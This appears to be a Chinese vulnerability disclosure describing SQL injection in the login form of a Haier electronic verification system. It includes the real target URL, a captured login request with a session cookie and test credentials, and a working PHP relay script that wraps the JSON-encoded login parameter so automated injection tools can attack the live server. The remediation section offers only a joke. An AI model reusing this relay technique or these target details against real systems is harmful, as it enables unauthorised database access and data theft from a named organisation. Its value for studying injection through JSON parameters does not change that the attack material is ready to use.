系统地址:http://evs.haier.net/e asp /uiloader/login. html 海尔电子核销 系统
在登陆的时候,用单引号登陆,就报错了
本来以为会很简单,用一般的post注入就搞定。
但是我还是太傻太天真,抓到包的那一刻我眼泪掉下来。
POST http://evs.haier.net/easp/uiloader/$/ssb/uiloader/ssoLoginMgt/login.ssm HTTP/1.1 Accept: */* Referer: http://evs.haier.net/easp/uiloader/login.html Accept-Language: zh-cn Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: evs.haier.net Content-Length: 40 Proxy-Connection: Keep-Alive Pragma: no-cache Cookie: JSESSIONID=2kpTSFLPRmJ2Fn1CYrJlD1GJjhmpVG8knMRSyMzkLRDpFM40t6L2!-881110793; cctUserId=admin; cctLocale=zh [{"userId":"admin","password":"123456"}]
传递出去的参数是这样的啊,[{"userId":"admin","password":"123456"}],SQLmap和其他的工具根本就不认啊。但是这明显就是注入啊?
只能无奈,写一个中转php文件,大爱小学生。
<?php if (empty($_GET['id'])){ echo "vip.php?id=z7ysbsbsb"; }else{ $id=$_GET['id']; $post_data="[{\"userId\":\"$id\",\"password\":\"123456\"}]"; $url='http://evs.haier.net/easp/uiloader/$/ssb/uiloader/ssoLoginMgt/login.ssm'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data); ob_start(); curl_exec($ch); $result = ob_get_contents() ; ob_end_clean(); echo $result; } ?>
这里get的ID来替换掉post里面的userid参数,来实现注入。
本地访问下看看。
恩,看样子是问题不大了。
这里由于是中转注射了,本地是win的环境和php,可能检测出来跟服务器有差别。
但是呢,数据是跑不掉的。
over。
修复方案: 注入啊注入,老是在登陆框~伤了心。
查看更多关于海尔集团某重要系统很有姿势的SQL注射 - 网站安的详细内容...